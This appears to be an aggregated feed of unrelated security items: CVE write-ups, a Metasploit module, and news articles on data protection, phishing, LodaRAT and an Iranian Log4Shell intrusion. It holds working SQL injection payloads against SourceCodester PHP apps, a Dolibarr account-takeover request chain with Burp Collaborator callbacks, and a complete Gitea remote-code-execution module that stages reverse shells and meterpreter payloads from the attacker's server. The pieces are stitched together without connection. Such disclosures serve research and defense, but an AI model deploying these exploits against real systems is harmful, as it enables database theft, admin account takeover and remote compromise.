Online Diagnostic Lab Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /tests/view_test.php.

**Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: Zhangyushi

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/admin/tests/view\_test.php?id=

Vulnerability location: /odlms/admin/tests/view\_test.php?id=,id

dbname=odlms\_db,length=8

\[+\] Payload: /odlms/admin/tests/view\_test.php?id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> id

GET /odlms/admin/tests/view\_test.php?id\=\-1%27%20union%20select%201,database(),3,4,5,6,7,8\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

CVE-2022-43162: bug_report/SQLi-1.md at main · zys20201225/bug_report

Automotive Shop Management System v1.0 is vulnerable to SQL Injection via /asms/classes/Master.php?f=delete_transaction.

**Automotive Shop Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: acvxd

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/classes/Master.php?f=delete\_transaction

Vulnerability location: /asms/classes/Master.php?f=delete\_transaction, id

dbname =asms\_db,length=7

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /asms/classes/Master.php?f\=delete\_transaction HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou\_member\_id=1; dou\_member\_code=3a2d7d2301afce4cf127
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-44402: bug_report/SQLi-2.md at main · acvxd/bug_report

Automotive Shop Management System v1.0 is vulnerable to SQL Injection via /asms/admin/?page=user/manage_user&id=.

**Automotive Shop Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: acvxd

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/admin/?page=user/manage\_user&id=

Vulnerability location: /asms/admin/?page=user/manage\_user&id=, id

dbname =asms\_db,length=7

\[+\] Payload: /asms/admin/?page=user/manage\_user&id=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /asms/admin/?page\=user/manage\_user&id\=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou\_member\_id=1; dou\_member\_code=3a2d7d2301afce4cf127
Connection: close

CVE-2022-44403: bug_report/SQLi-1.md at main · acvxd/bug_report

Dolibarr Open Source ERP & CRM for Business before v14.0.1 allows attackers to escalate privileges via a crafted API.

**Dolibarr ERP 14.0.1 - Privilege Escalation**

**Platform:****PHP**

**Date:****2021-09-02**

  

    # Exploit Title: Dolibarr ERP/CRM 14.0.1 - Privilege Escalation
    # Date: April 8, 2021
    # Exploit Author: Vishwaraj101
    # Vendor Homepage: https://www.dolibarr.org/
    # Affected Version: <= 14.0.1
    # Patch: https://github.com/Dolibarr/dolibarr/commit/489cff46a37b04784d8e884af7fc2ad623bee17d
    
    *Summary:*
    Using the below chain of issues attacker can compromise any dolibarr
    user account including the admin.
    
    *Poc:*
    
       1. Visit https://example.com/api/index.php/login?login=demo&password=demo
       try to login with a test user with 0 permissons or less permissions.
       2. We will receive an api token in return.
       3. Next we need to fetch the user id of the user whose account we want
       to own.
    
    
    
    *First we need to fetch the user id of the admin user using the below api.*
    
    *Request1:*
    
    GET /api/index.php/users/login/admin HTTP/1.1Host:
    preview2.dolibarr.ohttps://preview2.dolibarr.org/api/index.php/users/login/adminrg
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    root@tqn9xk6rn6fq8x9ijbmpouosrjxan3srh.burpcollaborator.netAccept:
    application/json
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflateDOLAPIKEY: test1337Connection: close
    
    *This will return the user details using the username. Now update the
    victim user account via below api (include the json body received from the
    previous request1 and replace the email id from below json to the attacker
    controlled email)*
    
    
    *Request2:*PUT /api/index.php/users/*12* HTTP/1.1
    
    Host: preview2.dolibarr.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1;
    WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
    Safari/537.36 root@67bmexn44jw3paqv0o3257558wen5mwal.burpcollaborator.netAccept:
    application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip,
    deflateDOLAPIKEY: test1337Origin:
    https://preview2.dolibarr.orgConnection: closeReferer:
    http://5z5l6wf3wio2h9iusnv1x6x40v6mxkw8l.burpcollaborator.net/refContent-Length:
    3221
    {
        "id": "12",
        "statut": "1",
        "employee": "1",
        "civility_code": null,
        "gender": "woman",
        "birth": 495583200,
        "email": "*attacker@example.com <attacker@example.com>*",
        "personal_email": "",
        "socialnetworks": {
            "facebook": "",
            "skype": "",
            "twitter": "",
            "linkedin": "",
            "instagram": "",
            "snapchat": "",
            "googleplus": "",
            "youtube": "",
            "whatsapp": "",
            "tumblr": "",
            "vero": "",
            "viadeo": "",
            "slack": "",
            "xing": "",
            "meetup": "",
            "pinterest": "",
            "flickr": "",
            "500px": "",
            "giphy": "",
            "gifycat": "",
            "dailymotion": "",
            "vimeo": "",
            "periscope": "",
            "twitch": "",
            "discord": "",
            "wikipedia": "",
            "reddit": "",
            "quora": "",
            "tripadvisor": "",
            "mastodon": "",
            "diaspora": "",
            "viber": ""
        },
        "job": "Admin Technical",
        "signature": "",
        "address": "",
        "zip": "",
        "town": "",
        "state_id": null,
        "state_code": null,
        "state": null,
        "office_phone": "",
        "office_fax": "",
        "user_mobile": "",
        "personal_mobile": "",
        "admin": "1",
        "login": "admin",
        "entity": "0",
        "datec": 1507187386,
        "datem": 1617819214,
        "socid": null,
        "contact_id": null,
        "fk_member": null,
        "fk_user": "11",
        "fk_user_expense_validator": null,
        "fk_user_holiday_validator": null,
        "clicktodial_url": null,
        "clicktodial_login": null,
        "clicktodial_poste": null,
        "datelastlogin": 1617816891,
        "datepreviouslogin": 1617815935,
        "datestartvalidity": "",
        "dateendvalidity": "",
        "photo": "com.jpg",
        "lang": "fr_FR",
        "rights": {
            "user": {
                "user": {},
                "self": {}
            }
        },
        "conf": {},
        "users": [],
        "parentof": null,
        "accountancy_code": "",
        "weeklyhours": "39.00000000",
        "color": "",
        "dateemployment": "",
        "dateemploymentend": "",
        "default_c_exp_tax_cat": null,
        "default_range": null,
        "fk_warehouse": null,
        "import_key": null,
        "array_options": [],
        "array_languages": null,
        "linkedObjectsIds": null,
        "canvas": null,
        "fk_project": null,
        "contact": null,
        "thirdparty": null,
        "user": null,
        "origin": null,
        "origin_id": null,
        "ref": "12",
        "ref_ext": null,
        "status": null,
        "country": null,
        "country_id": null,
        "country_code": "",
        "region_id": null,
        "barcode_type": null,
        "barcode_type_code": null,
        "barcode_type_label": null,
        "barcode_type_coder": null,
        "mode_reglement_id": null,
        "cond_reglement_id": null,
        "demand_reason_id": null,
        "transport_mode_id": null,
        "cond_reglement": null,
        "modelpdf": null,
        "last_main_doc": null,
        "fk_bank": null,
        "fk_account": null,
        "note_public": "",
        "note_private": "",
        "note": "",
        "name": null,
        "lastname": "Adminson",
        "firstname": "Alice",
        "civility_id": null,
        "date_creation": null,
        "date_validation": null,
        "date_modification": null,
        "specimen": 0,
        "alreadypaid": null,
        "liste_limit": 0
    }
    
    This will reset the admin email account to the attacker controlled
    email account, now using the password reset feature attacker will
    reset the admin account password and will gain access to the admin
    account.

CVE-2022-43138: Offensive Security’s Exploit Database Archive

Researchers find current data protections strategies are failing to get the job done, and IT leaders are concerned, while a lack of qualified IT security talent hampers cyber-defense initiatives.

Organizations are struggling with mounting data losses, increased downtime, and rising recovery costs due to cyberattacks — to the tune of $1.06 million in costs per incident. Meanwhile, IT security staffs are stalled on getting defenses up to speed.

That's according to the 2022 Dell Global Data Protection Index (GDPI) survey of 1,000 IT decision-makers across 15 countries and 14 industries, which found that organizations that experienced disruption have also suffered an average of 2TB data loss and 19 hours of downtime. 

Most respondents (67%) said they lack confidence that their existing data protection measures are sufficient to cope with malware and ransomware threats. A full 63% said they are not very confident that all business-critical data can be reliably recovered in the event of a destructive cyberattack.

Their fears seem founded: Nearly half of respondents (48%) experienced a cyberattack in the past 12 months that prevented access to their data (a 23% increase from 2021) — and that's a trend that Colm Keegan, senior consultant for data protection solutions at Dell Technologies, says will likely continue. 

"The growth and increased distribution of data across edge, core data center and multiple public cloud environments are making it exceedingly difficult for IT admins to protect their data," Keegan explains.

On the protection front, most organizations are falling behind; for instance, 91% are aware of or planning to deploy a zero-trust architecture, but only 12% are fully deployed.

And it's not just advanced defense that's lacking: Keegan points out that 69% of respondents stated they simply cannot meet their backup windows to be prepared for a ransomware attack.

**Data Protection Strategies Face Headwinds**

One of the primary reasons data protection strategies are failing is the lack of visibility of where that data resides and what it is — a problem exacerbated by the rapid, ongoing adoption of cloud-native apps and containers. More than three-quarters of survey respondents said there is a lack of common data protection solutions for these newer technologies.

"Seventy-two percent said they are unable to keep up with what their developers are doing in the cloud — it’s basically a blind spot for them," Keegan says.  

Claude Mandy, chief evangelist of data security at Symmetry Systems, a provider of hybrid cloud data security solutions, agrees that a lack of visibility is the primary reason current data-protection strategies fail.

"Organizations simply do not know what data they have, where it is, let alone how it is protected," he says. "Unfortunately, a lot of the data-protection failures are preventable by simply knowing the answers to these questions."

He adds that the problem is worsened by the constant change of data within an organization. From his perspective, the sheer scale and complexity of millions of individual data objects across thousands of data stored in multiple clouds, multiplied by a seemingly infinite combination of roles and permissions for thousands of user and machine identities, would be challenging for chief information security officers (CISOs) to secure even if they were static. They're not, so the situation is even more challenging.

To boot, in a lot of cases, organizations are using multiple data security tools for different silos of information, with no overarching integration between them.

"The billions of objects form over months or years, and change constantly," Mandy says. "This is further exacerbated through continuous data flows, privilege creep, data sprawl, and organizational churn, resulting in \[visibility\] to data that is far from ideal."

**Zero-Trust Implementation Lags, Despite Interest**

Zero trust is growing in popularity in enterprise security because not trusting users by default works well to reduce risk. Indeed, virtually all the GDPI respondents indicated they intend to implement zero trust into their environments at some point.

However, actual deployment is not happening at a rapid pace — as mentioned, only 12% of respondents indicated they have fully deployed at zero-trust architecture into their environments. According to researchers, the main problem is a critical shortfall in IT skills, particularly as it relates to cyber recovery and data protection.

Widely reported shortages of trained cybersecurity professionals are driving the industry to try to come up with some with creative recruiting and training solutions, but just 65 cybersecurity professionals are in the workforce for every 100 available jobs, a recent study shows.

"If you don’t have cybersecurity professionals on staff, it’s virtually impossible to make progress on deploying a zero-trust framework, unless, of course, you rely on partners to help you get there," Keegan says. "Now consider the demand for these resources in the market. Like supply chain constraints, demand is high, and the supply is low."

Patrick Tiquet, vice president of security and architecture at Keeper Security, a provider of zero-trust and zero-knowledge cybersecurity software, says that zero-trust management can be challenging even with staff on board.

"Implementation of \[zero trust\] is currently a common data-protection strategy," he explains. "However, for \[zero trust\] to be effective, access and roles must first be configured correctly."

This means ensuring the right people have access to the right data and resources within the zero-trust architecture. Roles must be implemented that are adequately scoped to protect the data that role can access — and correctly configuring access to data just one time ("set it and forget it," in other words) is not enough.

"The organization must maintain and manage data access through the lifecycle of the data, and as the organization grows," Tiquet adds. "Organizations must make sure that, as teams grow and change, the access given to a specific role is still appropriate."

**Vendor Consolidation on the To-Do List**

Keegan says it’s likely there will be some retooling at organizations in terms of platforms — many survey respondents (85%) said they believe they would see a benefit through reducing the number of data protection vendors they work with.

"The research tends to support this sentiment," he adds. "For example, those using a single data protection vendor had far fewer incidents of data loss than those using multiple vendors."

Likewise, the cost of data loss incidents resulting from a cyber attack was approximately 34% higher for those organizations working with multiple data protection vendors than those using a single vendor, according to the survey.

John Bambenek, principal threat hunter at Netenrich, a security and operations analytics software-as-a-service (SaaS) company, says the current spate of M&A and consolidation in the cybersecurity market speaks to those drivers — but warns that vendors trying to be all things to all security problems has its own downsides.

"The larger tech firms get, the less ability they have to innovate and solve problems leading to opportunities for new vendors to step in with new solutions," he explains. "It's \[a cycle\] we see of M&A frenzy and stagnation, then new companies enter to innovate — and more M&A."

Keegan, meanwhile, says he is hearing calls in the analyst community that organizations need to consider shifting their investments from cybersecurity prevention to resiliency.

"This means accepting the inevitability that security breaches will occur," he notes. "Moreover, companies need to have a plan that enables them to recover their critical data and business applications in a timely manner to meet their service level objectives."

Zero-Trust Initiatives Stall, as Cyberattack Costs Rocket to $1M per Incident

The socially engineered campaign used a legitimate domain to send phishing emails to large swaths of university targets.

Cyberattackers have targeted students at national educational institutions in the US with a sophisticated phishing campaign that impersonated Instagram. The unusual aspect of the gambit is that they used a valid domain in an effort to steal credentials, bypassing both Microsoft 365 and Exchange email protections in the process.  

The socially engineered attack, which has targeted nearly 22,000 mailboxes, used the personalized handles of Instagram users in messages informing would-be victims that there was an "unusual login" on their account, according to a blog post published on Nov. 17 by Armorblox Research Team.

The login lure is nothing new for phishers. But attackers also sent the messages from a valid email domain, making it much harder for both users and email-scanning technology to flag messages as fraudulent, the researchers said.

"Traditional security training advises looking at email domains before responding for any clear signs of fraud," they explained in the post. "However, in this case, a quick scan of the domain address would not have alerted the end user of fraudulent activity because of the domain's validity."

As phishing has been around so long, attackers know that most people who use email are on to them and thus familiar with how to spot fraudulent messages. This has forced threat actors to get more creative in their tactics to try to fool users into thinking phishing emails are legitimate.

Moreover, those of university age who use Instagram would likely be among the savviest of internet users, having grown up using the technology — which may be why attackers in this campaign in particular were so careful to appear authentic.

Whatever the reason, the campaign's combination of spoofing, brand impersonation, and a legitimate domain allowed attackers to send messages that successfully passed through not only Office 365 and Exchange protections, but also DKIM, DMARC, and SPF alignment email authentication checks, the researchers said.

"Upon further analysis from the Armorblox Research Team, the sender domain received a reputable score of "trustworthy" and no infections in the past 12 months of the domain's 41 months of existence," they wrote in the post.

**"Unusual Login" Lure**

Researchers at Armorblox said the attacks started with an email with the subject line "We Noticed an Unusual Login, \[user handle\]," using a common tactic to instill a sense a urgency in the recipient to get them to read the email and take action.

The body of the email impersonated the Instagram brand, and appeared to be come from the social media platform's support team, with the sender's name, Instagram profile, and email address — which was the perfectly palatable "\[email protected\]" — all appearing legitimate, they said.

The message let the user know that an unrecognized device from a specific location and machine with a specific operating system — in the case of an example shared by Amorblox, Budapest and Windows, respectively — had logged in to their account.

"This targeted email attack was socially engineered, containing information specific to the recipient — like his or her Instagram user handle — in order to instill a level of trust that this email was a legitimate email communication from Instagram," the researchers wrote.

Attackers aimed for recipients to click on a link asking them to "secure" their login details included at the bottom of the email, which lead to a fake landing page that threat actors created to exfiltrate user credentials. If someone got that far, the landing page to which the link redirects, like the email, also mimicked a legitimate Instagram page, the researchers said.

"The information within this fake landing page provides the victims a level of detail to both corroborate the details within the email and also increase the sense of urgency to take action and click the call-to-action button, 'This Wasn’t Me,'" the researchers said.

If users take the bait and click to "verify" their accounts, they're directed to a second fake landing page that also impersonates Instagram credibly and are prompted to change account credentials on the premise that someone may already have stolen them.

Ironically, of course, it's the actual page itself that will be doing the stealing if the user logs in with new credentials, the researchers said.

**Avoiding Compromise and Credential Theft**

As threat actors get more sophisticated in how they craft phishing emails, so, too, must enterprises and their users in terms of detecting them.

Since the Instagram phishing campaign managed to bypass native email protections, researchers suggested that organizations should augment built-in email security with layers that take a materially different approach to threat detection. To help them find a solution, they can use trusted research from firms such as Gartner and others on which options are the best for their particular business.

Employees also should be advised or even trained to watch out for social engineering cues that are becoming more common in phishing campaigns rather than quickly execute the requested actions received in email messages, which our brains have been trained to do, the researchers said.

"Subject the email to an eye test that includes inspecting the sender name, sender email address, the language within the email, and any logical inconsistencies within the email," they wrote.

Additionally, the researchers said, employing multifactor authentication and password-management best practices across both personal and business accounts can help avoid account compromise if an attacker does get ahold of a user's credentials through phishing.

Instagram Impersonators Target Thousands, Slipping by Microsoft's Cybersecurity

This Metasploit module exploits the Git fetch command in the Gitea repository migration process to allow for remote command execution on the system. This vulnerability affect Gitea versions prior to 1.16.7.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Gitea  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gitea Git Fetch Remote Code Execution',        'Description' => %q{          This module exploits Git fetch command in Gitea repository migration          process that leads to a remote command execution on the system.          This vulnerability affect Gitea before 1.16.7 version.        },        'Author' => [          'wuhan005', # Original PoC          'li4n0', # Original PoC          'krastanoel' # MSF Module        ],        'References' => [          ['CVE', '2022-30781'],          ['URL', 'https://tttang.com/archive/1607/']        ],        'DisclosureDate' => '2022-05-16',        'License' => MSF_LICENSE,        'Platform' => %w[unix linux win],        'Arch' => ARCH_CMD,        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => %i[curl wget echo printf],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :win_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',                'CMDSTAGER::URIPATH' => '/payloads'              }            }          ]        ],        'DefaultOptions' => { 'WfsDelay' => 30 },        'DefaultTarget' => 1,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => []        }      )    )    register_options([      Opt::RPORT(3000),      OptString.new('USERNAME', [true, 'Username to authenticate with']),      OptString.new('PASSWORD', [true, 'Password to use']),      OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),    ])  end  def cleanup    super    return if @uid.nil? || @migrate_repo_created.nil?    [@repo_name, @migrate_repo_name].each do |name|      res = gitea_remove_repo(repo_path(name))      if res.nil? || res&.code == 200        vprint_warning("Unable to remove repository '#{name}'")      elsif res&.code == 404        vprint_warning("Repository '#{name}' not found, possibly already deleted")      else        vprint_status("Successfully cleanup repository '#{name}'")      end    end  end  def check    return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?    v = get_gitea_version    gitea_login(datastore['username'], datastore['password'])    if Rex::Version.new(v) <= Rex::Version.new('1.16.6')      return CheckCode::Appears("Version detected: #{v}")    end    CheckCode::Safe("Version detected: #{v}")  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e    return CheckCode::Unknown(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e    return CheckCode::Detected(e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,         Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    return CheckCode::Safe(e.message)  end  def primer    [      '/api/v1/version', '/api/v1/settings/api',      "/api/v1/repos/#{@migrate_repo_path}",      "/api/v1/repos/#{@migrate_repo_path}/pulls",      "/api/v1/repos/#{@migrate_repo_path}/topics"    ].each { |uri| hardcoded_uripath(uri) } # adding resources  end  def execute_command(cmd, _opts = {})    if target['Type'] == :win_dropper      # Git on Windows will pass the command to `sh.exe` and not `cmd`.      # This requires some adjustments:      # - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`      # - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.      # - Backslashes need to be escaped with `sh.exe`      cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }    end    vprint_status("Executing command: #{cmd}")    @repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_path = repo_path(@migrate_repo_name)    vprint_status("Creating repository \"#{@repo_name}\"")    @uid = gitea_create_repo(@repo_name)    vprint_good('Repository created')    vprint_status('Migrating repository')    clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"    auth_token = rand_text_alphanumeric(6..15)    @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)    @p = cmd  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,         Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,         Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  end  def exploit    unless datastore['AutoCheck']      fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?      gitea_login(datastore['username'], datastore['password'])    end    start_service    primer    case target['Type']    when :unix_cmd, :win_cmd      execute_command(payload.encoded)    when :linux_dropper, :win_dropper      datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"      execute_cmdstager(background: true, delay: 1)    end  rescue Timeout::Error => e    fail_with(Failure::TimeoutExpired, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e    fail_with(Failure::UnexpectedReply, e.message)  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e    fail_with(Failure::NoAccess, e.message)  end  def repo_path(name)    "#{datastore['username']}/#{name}"  end  def on_request_uri(cli, req)    case req.uri    when '/api/v1/version'      send_response(cli, '{"version": "1.16.6"}')    when '/api/v1/settings/api'      data = {        max_response_items: 50, default_paging_num: 30,        default_git_trees_per_page: 1000, default_max_blob_size: 10485760      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}"      data = {        clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",        owner: { login: datastore['username'] }      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"      send_response(cli, '{"topics":[]}')    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"      data = [        {          base: {            ref: 'master'          },          head: {            ref: "--upload-pack=#{@p}",            repo: {              clone_url: './',              owner: { login: 'master' }            }          },          updated_at: '2001-01-01T05:00:00+01:00',          user: {}        }      ]      send_response(cli, data.to_json)    when datastore['CMDSTAGER::URIPATH']      super    end  endend

Gitea Git Fetch Remote Code Execution

LodaRAT samples were deployed alongside other malware families, including RedLine and Neshta.
Cisco Talos identified several variants and altered versions of LodaRAT with updated functionality have been identified in the wild.
Changes in these LodaRAT variants include new functionality allowing proliferation to attached removable storage, a new string encoding algorithm

Get a Loda This: LodaRAT meets new friends

The Java Admin Console in Veritas NetBackup through 10.1 and related Veritas products on Linux and UNIX allows authenticated non-root users (that have been explicitly added to the auth.conf file) to execute arbitrary commands as root.

**Revision History**

*   November 15, 2022 – Initial Public Release

**Summary**

Veritas has addressed an OS Command Injection vulnerability affecting the NetBackup Java Admin Console. Please see the “Notes” section below to determine if you are vulnerable to this issue. Only users explicitly added to the auth.conf file can exploit this vulnerability.

**Issues****OS Command Injection vulnerability**

A vulnerability in the NetBackup Java Admin Console allows authenticated non-root users that have been explicitly added to the auth.conf file to execute arbitrary commands as root.

*   CVE ID: TBA
*   Severity: High
*   CVSS v3.1 Base Score: 7.5 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
*   Potentially impacted components: Primary servers, Media servers, and Clients. (See Notes below).
*   Recommended action:
    *   NetBackup: Upgrade to 8.2, 8.3.0.1, 8.3.0.2, 9.0.0.1, 9.1.0.1, 10.0.0.1 or 10.1 and apply corresponding Hotfix
    *   NetBackup Appliance: Upgrade to 3.2, 3.3.0.1, 3.3.0.2, 4.0.0.1, 4.1.0.1 or 5.0.0.1 MR1 and apply appropriate Hotfix.
    *   Flex Appliance: Please apply the NetBackup Hotfix corresponding to the NetBackup Container version on Flex appliances.
    *   Flex Scale: Please contact Veritas Technical Support and reference Knowledge Article ID 100053006 to obtain a fix.

**Notes**

The /usr/openv/java/auth.conf file grants access to functions in the NetBackup Administration Console. This file is created by default with only root having administrative rights. This file is present on Primary Servers, Media Servers and Clients.

Unless auth.conf is modified by adding non-root users to it and allowing those users to manage Primary servers or Media servers or Clients, the environment is NOT vulnerable, and the fix is not required.

This affects only Unix-based servers and clients. Windows-based servers and clients are unaffected.

The fix updates the vulnerable bpjava binary on the target system that the Java Admin UI console connects to.

For more details about auth.conf please see: https://www.veritas.com/content/support/en\_US/doc/21733320-149123528-0/v41641695-149123528

**Questions**

For questions or problems regarding this advisory please contact Veritas Technical Support (https://www.veritas.com/support)

**Acknowledgement**

Veritas would like to thank the Nordea Backup Team for reporting the issue to us.

**Disclaimer**

THE SECURITY ADVISORY IS PROVIDED "AS IS" AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE DISCLAIMED, EXCEPT TO THE EXTENT THAT SUCH DISCLAIMERS ARE HELD TO BE LEGALLY INVALID. VERITAS TECHNOLOGIES LLC SHALL NOT BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH THE FURNISHING, PERFORMANCE, OR USE OF THIS DOCUMENTATION. THE INFORMATION CONTAINED IN THIS DOCUMENTATION IS SUBJECT TO CHANGE WITHOUT NOTICE. ANY FORWARD-LOOKING INDICATION OF PLANS FOR PRODUCTS IS PRELIMINARY AND ALL FUTURE RELEASE DATES ARE TENTATIVE AND ARE SUBJECT TO CHANGE. ANY FUTURE RELEASE OF THE PRODUCT OR PLANNED MODIFICATIONS TO PRODUCT CAPABILITY, FUNCTIONALITY, OR FEATURE ARE SUBJECT TO ONGOING EVALUATION BY VERITAS, AND MAY NOT BE IMPLEMENTED AND SHOULD NOT BE CONSIDERED FIRM COMMITMENTS BY VERITAS AND SHOULD NOT BE RELIED UPON IN MAKING DECISIONS.

Veritas Technologies LLC  
2625 Augustine Drive  
Santa Clara, CA 95054

CVE-2022-45461: Hotfix for Security Advisory Impacting NetBackup Java Admin Console

Iranian government-sponsored threat actors have been blamed for compromising a U.S. federal agency by taking advantage of the Log4Shell vulnerability in an unpatched VMware Horizon server.
The details, which were shared by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), come in response to incident response efforts undertaken by the authority from mid-June through mid-July 2022

Iranian government-sponsored threat actors have been blamed for compromising a U.S. federal agency by taking advantage of the Log4Shell vulnerability in an unpatched VMware Horizon server.

The details, which were shared by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), come in response to incident response efforts undertaken by the authority from mid-June through mid-July 2022.

"Cyber threat actors exploited the Log4Shell vulnerability in an unpatched VMware Horizon server, installed XMRig crypto mining software, moved laterally to the domain controller (DC), compromised credentials, and then implanted Ngrok reverse proxies on several hosts to maintain persistence," CISA noted.

LogShell, aka CVE-2021-44228, is a critical remote code execution flaw in the widely-used Apache Log4j Java-based logging library. It was addressed by the open source project maintainers in December 2021.

The latest development marks the continued abuse of the Log4j vulnerabilities in VMware Horizon servers by Iranian state-sponsored groups since the start of the year. CISA did not attribute the event to a particular hacking group.

However, a joint advisory released by Australia, Canada, the U.K., and the U.S. in September 2022 pointed fingers at Iran's Islamic Revolutionary Guard Corps (IRGC) for leveraging the shortcomings of post-exploitation activities.

The affected organization, per CISA, is believed to have been breached as early as February 2022 by weaponizing the vulnerability to add a new exclusion rule to Windows Defender that allowlisted the entire C:\\ drive.

Doing so made it possible for the adversary to download a PowerShell script without triggering any antivirus scans, which, in turn, retrieved the XMRig cryptocurrency mining software hosted on a remote server in the form of a ZIP archive file.

